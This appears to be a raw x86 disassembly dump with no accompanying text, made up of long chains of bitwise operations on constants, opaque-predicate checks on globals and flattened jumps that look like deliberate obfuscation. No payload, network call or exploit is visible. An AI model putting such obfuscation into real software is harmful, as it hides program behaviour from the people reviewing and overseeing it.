xor edx, ebx
not esi
or esi, edx
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0xf7f48382
and edi, 0x80b7c7d
or edi, ecx
mov ecx, esi
not ecx
or ebx, esi
and esi, 0xf7f48382
and ecx, 0x80b7c7d
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
mov esi, ecx
and ecx, 0x72199e7b
and ebx, 0x8de66184
or ebx, ecx
or esi, eax
not eax
xor ebx, 0x72199e7b
or ebx, eax
not esi
not ebx
or ebx, esi
mov ecx, dword [ebp - 0x24]
or ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov esi, edx
not esi
mov eax, esi
and eax, 0x1ce93258
and edx, 0xe316cda7
or edx, eax
mov eax, ecx
not eax
or esi, eax
and eax, 0x1ce93258
and ecx, 0xe316cda7
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
mov eax, esi
not eax
and eax, 0xd95682d2
and esi, 0x26a97d2d
or esi, eax
mov eax, ebx
not eax
mov dword [ebp - 0x14], eax
mov ecx, ebx
xor ecx, 0x68dc5352
and ecx, eax
mov eax, ebx
and eax, 0x9723acad
or eax, ecx
mov dword [ebp - 0x18], eax
mov ecx, esi
xor ecx, 0xd95682d2
xor esi, 0x26a97d2d
mov edi, esi
or edi, 0x17030001
and edi, 0x3f934051
mov edx, ecx
and edx, 0x404c1302
or edx, edi
mov eax, ecx
or eax, 0x28904050
and eax, 0x3f934051
mov edi, esi
and edi, 0x8020acac
or edi, eax
xor edi, edx
mov eax, edi
xor eax, edi
not eax
and eax, dword [ebp - 0x18]
xor eax, edi
mov edx, ebx
and edx, 0xb5aff8b7
mov edi, dword [ebp - 0x14]
and edi, 0x4a500748
or edi, edx
or ebx, esi
and esi, 0xb5aff8b7
and ecx, 0x4a500748
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
mov edx, eax
and ecx, 0x23280d30
mov edi, ebx
xor edi, 0x233c2f31
and edi, ebx
mov eax, ebx
and eax, 0x142201
or eax, ecx
mov ecx, ebx
xor ecx, 0x71a64b7a
and ecx, ebx
xor eax, 0x142201
or edi, eax
mov dword [ebp - 0x1c], edx
mov eax, edx
and eax, 0x71a64b7a
or ecx, eax
mov dword [ebp - 0x18], ecx
and ecx, ebx
mov dword [ebp - 0x14], ecx
mov eax, edx
and eax, 0xceceeda
and ebx, 0xf3131125
or ebx, eax
xor ebx, 0xf3131125
mov esi, ebx
xor esi, edx
and esi, ebx
mov ecx, edi
xor edi, 0xdcc3d0ce
mov eax, ecx
xor eax, 0x233c2f31
mov dword [ebp - 0x20], eax
or eax, edi
xor ecx, 0x3022f699
and ecx, eax
mov dword [ebp - 0x24], ecx
mov ebx, esi
not ebx
mov ecx, esi
xor ecx, 0xece12657
and ecx, ebx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf97b174d
and ecx, 0x684e8b2
or ecx, edx
mov edx, ebx
or edx, 0xece12657
or eax, edx
and edx, 0xf97b174d
mov dword [ebp - 0x28], edx
mov edx, esi
and edx, 0x204c8a0
add edx, dword [ebp - 0x28]
xor edx, ecx
not eax
or eax, edx
xor eax, dword [ebp - 0x24]
mov ecx, edi
and ecx, 0x7853db67
mov edx, dword [ebp - 0x20]
and edx, 0x87ac2498
or edx, ecx
or edi, esi
and esi, 0x7853db67
and ebx, 0x87ac2498
or ebx, esi
xor ebx, edx
not edi
or edi, ebx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x41ff1e1b
and eax, 0xbe00e1e4
or eax, ecx
xor eax, edi
or ebx, edi
xor eax, 0xbe00e1e4
not ebx
or ebx, eax
mov eax, ebx
xor eax, 0x9a883732
and eax, ebx
not ebx
or ebx, eax
not eax
and eax, 0x6577c8cd
and ebx, 0x9a883732
or ebx, eax
mov eax, ebx
not eax
xor ebx, 0x8e59b485
mov ecx, ebx
and ecx, 0x8e59b485
and eax, 0x71a64b7a
or eax, ecx
xor ebx, eax
and ebx, eax
mov eax, dword [ebp - 0x18]
not eax
mov ecx, dword [ebp - 0x1c]
and ecx, eax
mov edi, dword [ebp - 0x14]
or edi, ecx
not edi
or edi, eax
mov dword [ebp - 0x14], edi
mov ecx, ebx
not ecx
mov dword [ebp - 0x18], ecx
and ecx, 0x51cc7ee6
mov eax, ebx
and eax, 0xae338119
or eax, ecx
mov edx, edi
not edx
mov ecx, edx
or ecx, 0x16066000
and ecx, 0x3e5e65f6
mov esi, edi
and esi, 0x81010201
or esi, ecx
mov ecx, edi
or ecx, 0x285805f6
and ecx, 0x3e5e65f6
mov edi, edx
and edi, 0x40a09808
or edi, ecx
xor edi, esi
mov ecx, eax
xor ecx, 0xae338119
mov dword [ebp - 0x1c], ecx
xor eax, 0x51cc7ee6
mov dword [ebp - 0x20], eax
mov ecx, eax
and ecx, 0xeddb498
mov esi, dword [ebp - 0x1c]
and esi, 0xf1224b67
or esi, ecx
mov ecx, esi
xor ecx, eax
and ecx, esi
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x18]
and eax, 0x36de0dea
and ebx, 0xc921f215
or ebx, eax
mov eax, ebx
xor eax, 0xc921f215
xor ebx, 0x24020960
and ebx, 0xa423bb75
mov esi, eax
and esi, 0x5bdc448a
or esi, ebx
xor esi, 0x5501f012
and eax, 0xf1224b67
or eax, esi
mov ecx, edi
xor edi, 0x56a6f808
mov dword [ebp - 0x24], edi
xor ecx, 0xa95907f7
mov dword [ebp - 0x28], ecx
mov esi, ecx
and esi, 0x472d3f20
and edi, 0xb8d2c0df
or edi, esi
xor edi, 0x49f08bb8
mov esi, edi
xor esi, ecx
and esi, edi
mov dword [ebp - 0x18], esi
mov ebx, dword [ebp - 0x14]
mov esi, ebx
and esi, 0xf1224b67
and edx, 0xeddb498
or edx, esi
xor ebx, edx
and ebx, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0x4a8a11c
xor eax, 0xd2d6f79f
and eax, edx
and edx, 0xfb575ee3
or edx, esi
mov esi, edx
xor esi, 0xfb575ee3
mov edi, esi
and edi, 0x2d290860
or eax, edi
xor edx, 0x4a8a11c
mov edi, edx
and edi, 0x5d320817
and esi, 0xa2cdf7e8
or esi, edi
mov ecx, dword [ebp - 0x2c]
xor esi, ecx
or edx, ecx
mov edi, ecx
xor ecx, 0x24210060
xor edi, 0xd2926783
and edi, 0xdb9a6f83
and ecx, 0x2465907c
or ecx, edi
xor ecx, eax
xor esi, 0xa2cdf7e8
not edx
or edx, esi
mov eax, ecx
xor eax, 0xdb9a6f83
xor ecx, 0x2465907c
mov esi, ecx
and esi, 0x69d79250
and eax, 0x96286daf
or eax, esi
xor eax, edx
or ecx, edx
xor eax, 0x96286daf
not ecx
or ecx, eax
mov dword [ebp - 0x14], ebx
mov esi, ebx
not esi
mov edx, esi
and edx, 0x271224
mov eax, ebx
and eax, 0xffd8eddb
or eax, edx
mov edi, dword [ebp - 0x18]
mov edx, edi
not edx
mov dword [ebp - 0x2c], edx
and edx, 0x5db22fbf
mov ebx, edi
xor ebx, 0x5db22fbf
and ebx, edi
or ebx, edx
mov dword [ebp - 0x30], ebx
mov ebx, eax
xor ebx, 0xffd8eddb
xor eax, 0x271224
mov edi, eax
or edi, 0xc000
and edi, 0x14b0e612
mov edx, ebx
and edx, 0x490209ad
or edx, edi
or esi, 0x14b02612
and esi, 0x14b0e612
mov edi, dword [ebp - 0x14]
and edi, 0xa24d1040
or edi, esi
xor edi, edx
mov esi, edi
xor esi, edi
not esi
and esi, dword [ebp - 0x30]
xor esi, edi
mov edx, dword [ebp - 0x18]
and edx, 0x446dc27
mov edi, dword [ebp - 0x2c]
and edi, 0xfbb923d8
or edi, edx
mov edx, dword [ebp - 0x18]
or edx, eax
and eax, 0x446dc27
and ebx, 0xfbb923d8
or ebx, eax
xor ebx, edi
mov edi, edx
not edi
or edi, ebx
not edi
or edi, esi
xor edi, ecx
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
mov esi, dword [ebp - 0x28]
xor eax, esi
and eax, ecx
mov edx, dword [ebp - 0x20]
and edx, 0xd59948f7
and ecx, 0x2a66b708
or ecx, edx
and esi, 0xd59948f7
mov edx, esi
mov esi, dword [ebp - 0x24]
and esi, 0x2a66b708
or esi, edx
xor esi, ecx
or esi, eax
mov eax, esi
not eax
mov edx, edi
not edx
mov ecx, edx
or ecx, esi
not ecx
and edx, 0xe13530fe
and edi, 0x1ecacf01
or edi, edx
and esi, 0xe13530fe
and eax, 0x1ecacf01
or eax, esi
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x319e1bbc
mov esi, edx
and esi, 0x4200221
mov edi, ecx
and edi, 0x82402400
or edi, esi
mov esi, eax
xor esi, 0xce61e443
and esi, eax
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x4200221
and esi, 0x834e2408
or esi, ebx
xor esi, edi
not edx
or edx, esi
and edx, 0x876e2629
mov esi, edx
xor esi, 0x10e0228
xor edx, 0x86a16d82
mov edi, ecx
and edi, 0x876e2629
and eax, 0x7891d9d6
or eax, edi
xor ecx, eax
and ecx, eax
mov edi, ecx
not edi
mov eax, esi
xor eax, edi
and eax, esi
and edx, 0x86ab6d8a
and esi, 0x1440221
or esi, edx
and edi, 0x86ab6d8a
and ecx, 0x79549275
or ecx, edi
xor ecx, esi
or ecx, eax
mov esi, ecx
xor esi, 0x93792ac
mov edx, ecx
xor edx, 0xf6c86d53
mov eax, edx
and eax, 0xbd51404e
xor ecx, 0xb466d2e2
and ecx, esi
or ecx, eax
mov eax, ecx
xor eax, 0x100
xor ecx, 0x4404048
and eax, 0x28010100
and ecx, 0x446cc449
or ecx, eax
mov eax, ecx
xor eax, 0x446cc449
mov edi, eax
mov dword [ebp - 0x14], eax
or edx, 0xc0c4409
and esi, 0x91800094
and edx, 0xe1e7e2b
or edx, esi
mov esi, edx
xor esi, 0xe1e7e2b
mov eax, edx
xor eax, 0xb06000c4
and eax, 0xb27606ed
xor edx, 0x92822816
and edx, esi
and esi, 0x1803812
or esi, eax
mov eax, ecx
xor eax, 0xbb933bb6
mov dword [ebp - 0x18], eax
xor ecx, 0x889d1578
and ecx, eax
and edi, 0x200c0448
or edi, ecx
mov dword [ebp - 0x1c], edi
mov eax, esi
xor eax, 0x4d89f912
mov ebx, esi
xor ebx, 0x6e87d5d8
and ebx, eax
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x83700410
and ebx, 0x3c86baef
or ebx, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xc3714510
and edx, 0x10823aa6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
xor ecx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x14]
mov edx, edi
and edx, 0x8648548
mov ebx, dword [ebp - 0x18]
and ebx, 0xf49b7235
or ebx, edx
xor ecx, 0x10000204
xor esi, 0xb27606ed
or edi, esi
and esi, 0x3040c8a
and eax, 0xf49b7235
or eax, esi
xor eax, ebx
not edi
or edi, eax
not edi
or edi, ecx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xd4ac4847
mov esi, edi
and esi, 0x2b53b7b8
or esi, eax
mov edx, esi
xor edx, 0x29010400
xor esi, 0x54044000
or ecx, 0x5404c0a0
or esi, 0x2083001
and esi, 0x560cf0a1
and edx, 0x29210c42
or edx, esi
and ecx, 0x560cf0a1
mov esi, edi
and esi, 0x80d2031c
or esi, ecx
xor esi, edx
mov ecx, esi
xor ecx, 0xeeb7f654
xor esi, 0x114809ab
mov eax, ecx
and eax, 0x842c4006
mov edx, esi
mov edi, esi
mov dword [ebp - 0x14], esi
and edx, 0x100481
or edx, eax
xor edx, 0x100481
or edx, 0x7bc3bb78
mov eax, esi
and eax, 0x8731381
mov ebx, ecx
and ebx, 0xf78cec7e
or ebx, eax
mov esi, edx
not esi
xor ebx, 0x73b0a8f9
or ebx, edi
mov edi, esi
xor edi, ebx
and edi, esi
xor esi, edx
and esi, ebx
xor esi, edx
mov edx, edi
not edx
mov eax, edx
and eax, 0x8ab2451
and edi, 0x84144086
or edi, eax
mov eax, esi
not eax
or edx, eax
and eax, 0x8ab2451
and esi, 0xf754dbae
or esi, eax
xor esi, edi
not edx
or edx, esi
mov edi, edx
not edi
mov esi, edx
xor esi, 0x843c4487
and esi, edx
or edx, 0x7bc3bb78
mov eax, edx
and eax, 0xcc119619
and edi, 0x2c4086
or edi, eax
mov eax, esi
not eax
or edx, eax
and eax, 0xcc119619
and esi, 0x33ee69e6
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, ecx
and eax, 0x693d121a
mov edi, dword [ebp - 0x14]
mov esi, edi
and esi, 0x96c2ede5
or esi, eax
and edi, 0x693d121a
and ecx, 0x96c2ede5
or ecx, edi
xor ecx, esi
mov eax, ecx
not eax
and ecx, 0xd2bd8a13
and eax, 0x2d4275ec
or eax, ecx
mov esi, eax
xor esi, 0xd2bd8a13
mov edi, edx
xor edi, 0xb90ef69d
and edi, edx
mov ecx, edx
not ecx
mov edx, ecx
and edx, 0xb90ef69d
or edi, edx
mov edx, eax
xor edx, 0x2d4275ec
or ecx, edx
and edx, 0xb90ef69d
xor eax, 0x6bb37c8e
and eax, esi
or eax, edx
xor eax, edi
mov esi, ecx
not esi
mov edx, eax
not edx
mov edi, edx
and edi, 0xd1af86c5
and eax, 0x2e50793a
or eax, edi
or edx, ecx
and ecx, 0xd1af86c5
and esi, 0x2e50793a
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov esi, edx
not esi
mov eax, edx
and eax, 0x10c86688
mov ecx, esi
and ecx, 0xef379977
or ecx, eax
mov eax, ecx
xor eax, 0x10806088
xor ecx, 0xca240035
and eax, 0x3593f9ca
and ecx, 0xca6c0635
or ecx, eax
mov eax, ecx
xor eax, 0xca6c0635
and esi, 0x85ba1cba
and edx, 0x7a45e345
or edx, esi
mov edi, edx
xor edi, 0x7a45e345
xor edx, 0x8100a
and edx, 0x5009734f
mov esi, edi
and esi, 0xaff68cb0
or esi, edx
xor esi, 0xaff68cb0
or esi, edi
mov edi, ecx
xor edi, 0x3593f9ca
mov dword [ebp - 0x14], edi
and edi, 0x68bacf33
xor ecx, 0xa2d6c906
and ecx, eax
or ecx, edi
mov ebx, esi
not ebx
mov edx, esi
xor edx, 0x974530cc
and edx, esi
mov edi, ebx
and edi, 0x974530cc
or edi, edx
mov edx, edi
xor edx, edi
not edx
and edx, ecx
xor edx, edi
mov ecx, eax
and ecx, 0x8b8835ff
mov edi, dword [ebp - 0x14]
and edi, 0x7477ca00
or edi, ecx
or eax, ebx
and ebx, 0x8b8835ff
and esi, 0x7477ca00
or esi, ebx
xor esi, edi
not eax
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x82086004
mov esi, eax
and esi, 0x158402e1
or esi, edx
mov edx, esi
xor edx, 0x40402a0
xor esi, 0x8017006
or ecx, 0x11806045
and esi, 0x19817047
and edx, 0x860c02a0
or edx, esi
and ecx, 0x19817047
and eax, 0x60728d18
or eax, ecx
xor eax, edx
mov esi, eax
xor esi, 0x68739d1a
xor eax, 0x978c62e5
mov ecx, esi
and esi, 0x70534e44
mov edx, eax
and edx, 0x8facb1bb
or edx, esi
xor edx, 0x8facb1bb
or edx, eax
and eax, 0xe7d311c7
and ecx, 0x182cee38
or ecx, eax
mov eax, ecx
xor eax, 0x264001c0
xor ecx, 0x182cee38
mov esi, ecx
and esi, 0xd197d827
and eax, 0x2e6827d8
or eax, esi
xor eax, edx
xor eax, 0x2e6827d8
or ecx, edx
not ecx
or ecx, eax
xor ecx, 0x91e899db
xor ecx, 0x6e176624
setne al
sete ch
cmp dword [0x10049904], 0xa
setl bl
setge ah
mov dl, ch
or dl, ah
mov dh, bl
or dh, al
mov cl, dl
xor cl, dh
or dl, dh
xor dl, 1
or dl, cl
mov cl, bl
xor al, bl
xor al, 1
or al, ch
xor al, 1
or al, bl
xor bl, ch
or cl, ch
xor cl, 1
or cl, bl
xor bl, 1
mov bh, bl
xor bh, cl
or cl, bl
xor cl, 1
or cl, bh
mov ebx, ecx
xor bl, 1
mov bh, dl
xor bh, 1
and bl, bh
or bh, cl
and cl, dl
xor bh, 1
or cl, bl
or cl, bh
mov dl, cl
xor dl, 1
mov ebx, eax
xor bl, 1
xor ah, ch
xor ah, 1
mov ch, ah
xor ch, dh
or ah, dh
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
and al, bl
xor al, 1
mov dh, bl
xor dh, al
or al, bl
xor al, 1
or al, dh
or ah, bl
mov dh, al
xor dh, ch
xor ch, bl
and ch, bl
xor ch, 1
mov bl, ah
xor bl, ch
or ch, ah
xor ch, 1
or ch, bl
and al, dh
xor al, 1
mov ah, al
xor ah, dh
or al, dh
xor al, 1
or al, ah
xor al, 1
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
xor ah, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ch, al
xor ch, 1
mov dh, ch
and dh, cl
mov ah, dl
and ah, al
or ah, dh
mov dh, ah
xor dh, 1
mov ebx, eax
and bl, cl
or al, cl
and cl, dh
and ah, dl
or ah, cl
xor ah, 1
or ah, dh
mov cl, ah
xor cl, 1
and dl, ch
or bl, dl
xor bl, 1
or bl, ch
mov edx, ebx
xor dl, 1
mov ch, al
xor ch, 1
and ch, bl
or bl, al
and al, dl
or al, ch
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ch, al
xor ch, 1
mov dh, ah
and dh, cl
xor dh, 1
or dh, cl
xor dh, 1
or dh, ah
or ah, ch
mov dl, ah
xor dl, 1
mov cl, ch
and cl, al
xor ch, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
xor cl, dh
mov al, cl
xor al, 1
mov ch, ah
and ch, dl
xor ch, 1
or ch, dl
xor ch, 1
or ch, ah
mov dh, ch
xor dh, 1
and dh, al
and ch, cl
or ch, dh
xor al, ah
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, ch
test cl, 1
mov eax, 0x71a1c948
mov esi, 0xb8e59c87
cmovne eax, esi
test ch, 1
cmove eax, esi
not dl
test dl, 1
mov ecx, 0x71a1c948
cmovne eax, ecx
jmp 0x1000f5c0
cmp byte [ebp - 0x53], 0
mov eax, 0x35365002
mov ecx, 0x45b379cb
cmovne eax, ecx
jmp 0x1000f5c0
mov eax, 0xbe0737a
jmp 0x1000f5c0
mov eax, dword [ebp - 0x40]
mov ecx, dword [0x10049900]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xdeb20d9
mov edi, edx
and edi, 0xc653e2a4
mov esi, eax
and esi, 0x39ac1d5b
or esi, edi
mov edi, eax
and edi, 0x6b22fa55
and edx, 0x94dd05aa
or edx, edi
mov ebx, esi
xor ebx, 0x108c050a
xor esi, 0x4202e204
and esi, 0x6b22fa55
and ebx, 0x94dd05aa
or ebx, esi
xor ebx, edx
not ebx
or ebx, eax
and eax, 0xf214df26
or eax, ecx
mov ecx, eax
xor ecx, 0x70100606
xor eax, 0x8232011
and eax, 0x8a27f931
and ecx, 0x75d806ce
or ecx, eax
mov eax, ecx
xor eax, 0x41100608
xor ecx, 0x7c001
and ecx, 0x34cfc0c7
and eax, 0xcb303f38
or eax, ecx
mov ecx, eax
xor ecx, 0x88302a20
xor eax, 0x20c700c0
and eax, 0x63c715d8
and ecx, 0x9c38ea27
or ecx, eax
mov eax, ecx
xor eax, 0x43430150
xor ecx, 0x38c220
and ecx, 0x20bcd6a8
and eax, 0xdf432957
or eax, ecx
mov ecx, eax
xor ecx, 0x9e030011
xor eax, 0xa80620
and eax, 0x41e82f66
and ecx, 0xbe17d099
or ecx, eax
mov eax, ecx
xor eax, 0x41002766
xor ecx, 0x8c024008
and ecx, 0x8cea4808
and eax, 0x7315b7f7
or eax, ecx
mov ecx, eax
xor ecx, 0x330582d4
xor eax, 0x480800
and eax, 0x40583d23
and ecx, 0xbfa7c2dc
or ecx, eax
mov eax, ecx
xor eax, 0x100822
xor ecx, 0xaf8542cc
and ecx, 0xefcd77cd
and eax, 0x10328832
or eax, ecx
mov ecx, eax
xor ecx, 0x10200832
xor eax, 0xc64d2648
and eax, 0xc65fa648
and ecx, 0x39a059b7
or ecx, eax
mov eax, ecx
xor eax, 0x24f0048
xor ecx, 0x31200822
and ecx, 0xf530ae22
and eax, 0xacf51dd
or eax, ecx
mov ecx, eax
xor ecx, 0xacf51dd
xor eax, 0xf530ae22
mov edx, eax
and edx, ecx
mov edi, ecx
mov ecx, eax
and ecx, 0x49741bbb
mov esi, edi
and edi, 0xb68be444
or edi, ecx
xor edi, 0x4d094e04
or edi, eax
mov dword [ebp - 0x1c], edi
and eax, 0xcc80c7f3
and esi, 0x337f380c
or esi, eax
mov eax, esi
xor eax, 0x10c1808
xor esi, 0xcc80c7f3
mov ecx, esi
and ecx, 0xb673e5c6
and eax, 0x498c1a39
or eax, ecx
mov ecx, edx
not ecx
or esi, ecx
and ecx, 0xb673e5c6
and edx, 0x498c1a39
or edx, ecx
xor edx, eax
mov edi, ebx
not edi
not esi
or esi, edx
mov dword [ebp - 0x14], esi
mov eax, ebx
and eax, edi
mov ecx, ebx
and ecx, 0xfb82aa40
mov edx, edi
mov esi, edi
and edi, 0x47d55bf
or edi, ecx
and edx, 0x5adf30c
not edi
or edi, ebx
and ebx, 0xfa520cf3
or ebx, edx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x5adf30c
and eax, 0xfa520cf3
or eax, ecx
xor eax, ebx
not esi
or esi, eax
mov dword [ebp - 0x18], esi
mov ecx, dword [ebp - 0x14]
mov edx, ecx
not edx
mov dword [ebp - 0x24], edx
mov eax, edx
and eax, 0x2071b84e
and ecx, 0xdf8e47b1
or ecx, eax
xor ecx, 0x240cedf1
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x1c]
xor ecx, eax
and eax, ecx
not ecx
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov edx, esi
not edx
mov dword [ebp - 0x20], edx
or edx, 0x47d55bf
mov eax, edx
not eax
and edx, 0xf65e5a84
mov ecx, esi
xor ecx, 0xa000a800
and ecx, eax
and eax, 0x980a040
or eax, edx
mov esi, edi
not esi
and edi, 0xefe5d245
mov edx, esi
and edx, 0x101a2dba
or edx, edi
mov ebx, edx
xor ebx, 0x101a2dba
xor edx, 0x4fc46b54
and edx, ebx
and esi, 0x5fde46ee
or esi, edx
mov edx, eax
xor edx, 0x9a1a57b
mov dword [ebp - 0x28], edx
xor eax, 0x567fe395
and eax, edx
mov edi, eax
not edi
mov edx, edi
and edx, 0xe796ca80
and eax, 0x18213050
or eax, edx
mov edx, ecx
not edx
or edi, edx
and edx, 0xe796cb81
and ecx, 0x18002040
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
xor edi, esi
or ebx, dword [ebp - 0x28]
not ebx
or ebx, edi
mov esi, dword [ebp - 0x1c]
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x8d6fb7b6
mov eax, esi
and eax, 0x72904849
or eax, edx
mov edx, ebx
not edx
xor eax, edx
xor eax, 0x72904849
and eax, ebx
and edx, 0x21bf07c8
and ebx, 0xde40f837
or ebx, edx
xor ebx, ecx
xor ebx, 0xde40f837
and ebx, esi
or ebx, eax
mov eax, dword [ebp - 0x24]
and eax, 0x7684601f
mov ecx, dword [ebp - 0x14]
mov esi, ecx
and esi, 0x897b9fe0
or esi, eax
mov edx, esi
xor edx, 0x897b9fe0
mov dword [ebp - 0x1c], edx
mov eax, esi
xor eax, 0x1fc8a5b5
and eax, edx
and ecx, 0x96b33a55
or ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x18]
xor ecx, 0x694cc5aa
mov edx, ecx
and edx, dword [ebp - 0x20]
mov eax, edx
not eax
mov edi, eax
and edi, 0x9993f5e3
and edx, 0x666c0a1c
or edx, edi
and ecx, dword [ebp - 0x18]
mov edi, ecx
not edi
or eax, edi
and edi, 0x9993f5e3
and ecx, 0x666c0a1c
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [ebp - 0x14]
xor ecx, eax
xor esi, 0x7684601f
mov eax, esi
and eax, 0xbda34413
mov edx, dword [ebp - 0x1c]
and edx, 0x425cbbec
or edx, eax
mov edi, edx
mov eax, dword [ebp - 0x18]
or esi, eax
and eax, 0xbda34413
mov edx, dword [ebp - 0x20]
and edx, 0x425cbbec
or edx, eax
xor edx, edi
not esi
or esi, edx
not esi
or esi, ecx
mov ecx, esi
mov eax, esi
xor eax, 0x933eba9d
and eax, esi
not esi
or ecx, 0x6cc14562
mov edx, ecx
and edx, 0x8f4f68a3
and esi, 0x1030921c
or esi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0x8f4f68a3
and eax, 0x70b0975c
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edx, ebx
not edx
mov eax, ebx
xor eax, 0x6cc0fe53
and eax, edx
mov edi, eax
not edi
mov esi, edi
and esi, 0x5a531d99
and eax, 0xa5ace266
or eax, esi
mov esi, edx
or esi, 0x6cc0fe53
or edi, esi
and esi, 0x5a531d99
and ebx, 0x812c0024
or ebx, esi
xor ebx, eax
mov esi, ecx
xor esi, 0x6cc14562
not edi
or edi, ebx
mov eax, ecx
xor eax, 0x933eba9d
xor ecx, 0x1bb31
and ecx, esi
or esi, 0x933f01ac
mov ebx, esi
and ebx, 0x617f882c
or edx, eax
and eax, 0xc807653
or eax, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0x617f882c
and ecx, 0x9e8077d3
or ecx, ebx
xor ecx, eax
not esi
or esi, ecx
xor esi, edi
mov ecx, edx
not ecx
mov edi, esi
not edi
mov eax, edi
and eax, 0xdf8f3548
and esi, 0x2070cab7
or esi, eax
or edi, edx
and edx, 0xdf8f3548
and ecx, 0x2070cab7
or ecx, edx
xor ecx, esi
not edi
or edi, ecx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xb8b4ca8e
mov edx, edi
mov ebx, edi
and edx, 0x474b3571
or edx, eax
mov esi, edx
xor esi, 0x43422110
xor edx, 0xb8b4ca8e
mov eax, edx
and eax, 0xa429de64
and esi, 0x5bd6219a
or esi, eax
mov edi, ecx
and edi, 0x1dd530c7
mov dword [ebp - 0x14], ebx
mov eax, ebx
and eax, 0xe22acf38
or eax, edi
mov edi, ecx
and edi, ebx
xor eax, 0xe22acf38
or eax, edi
mov ebx, edi
not edi
or edx, edi
and edi, 0xa429de64
and ebx, 0x5bd6219a
or ebx, edi
xor ebx, esi
not edx
or edx, ebx
or edx, 1
mov esi, edx
not esi
mov edi, esi
and edi, 0xd6b71041
mov ebx, edx
and ebx, 0x2948efbe
or ebx, edi
mov edi, ebx
xor edi, 0x21080802
xor ebx, 0x80041040
or ebx, 0x4236420
and ebx, 0x8c67f760
and edi, 0x21980802
or edi, ebx
or esi, 0x88449340
and esi, 0x8c67f760
and edx, 0x5200009d
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x562364bd
xor edx, 0x280c9100
and esi, 0xc3f24ec7
and edx, 0x3c0db138
or edx, esi
mov edi, edx
xor edi, 0x13006c6
xor edx, 0xc082038
and edx, 0xceca6839
and edi, 0x313597c6
or edi, edx
mov ebx, eax
xor ebx, 1
and ebx, eax
mov edx, dword [ebp - 0x14]
and edx, 0x1be8069b
mov eax, ecx
and eax, 0xe417f964
or eax, edx
xor eax, 0xe417f965
and ecx, 0xfffffffe
or ecx, eax
mov esi, ecx
not esi
mov edx, ebx
xor edx, ecx
and edx, ebx
and ecx, 0x8bfe9406
and esi, 0x74016bf9
or esi, ecx
xor esi, ebx
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xfcf09c53
and edx, 0x30f63ac
or edx, eax
mov eax, esi
xor eax, 0x30e0004
xor esi, 0x74016bf9
or ebx, esi
and esi, 0xfcf09c53
and eax, 0x30f63ac
or eax, esi
mov ecx, edi
xor ecx, 0x313597c6
mov dword [ebp - 0x18], ecx
xor eax, edx
not ebx
or ebx, eax
mov edx, edi
xor edx, 0xceca6839
mov dword [ebp - 0x14], edx
xor edi, 0x10141042
or edi, 0x29604080
and edi, 0x797c50d2
mov eax, edx
and eax, 0x2008b28
or eax, edi
or edx, 0x501c1052
and edx, 0x797c50d2
and ecx, 0x84832405
or ecx, edx
xor ecx, eax
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edx, ebx
not edx
mov dword [ebp - 0x1c], edx
and edx, 0x85596651
and eax, 0x7aa699ae
or eax, edx
mov edi, eax
xor edi, 0x48822
xor eax, 0x1406250
and eax, 0x7be273dc
and edi, 0x841d8c23
or edi, eax
mov esi, ecx
xor esi, 0xade36485
mov eax, ecx
xor eax, 0x521c9b7a
mov edx, eax
xor ecx, 0xd9253bfe
and ecx, esi
mov dword [ebp - 0x20], ecx
mov eax, esi
and eax, 0x8b77196a
mov ecx, edx
mov dword [ebp - 0x24], edx
and edx, 0x7488e695
or edx, eax
xor edx, 0x2f587bb1
and ecx, 0xa42f62db
or ecx, edx
mov edx, dword [ebp - 0x18]
and edx, 0x208f5e0a
mov esi, dword [ebp - 0x14]
mov eax, esi
and eax, 0xdf70a1f5
or eax, edx
xor eax, 0x7b5fc32e
and esi, 0x5bd09d24
or esi, eax
mov ebx, esi
mov dword [ebp - 0x2c], edi
mov esi, edi
xor esi, 0x7be273dc
mov dword [ebp - 0x18], esi
xor edi, 0x841d8c23
mov dword [ebp - 0x14], edi
and edi, 0x1d01104
and esi, 0x5a008c20
or esi, edi
mov eax, dword [ebp - 0x1c]
and eax, 0xa40b60c2
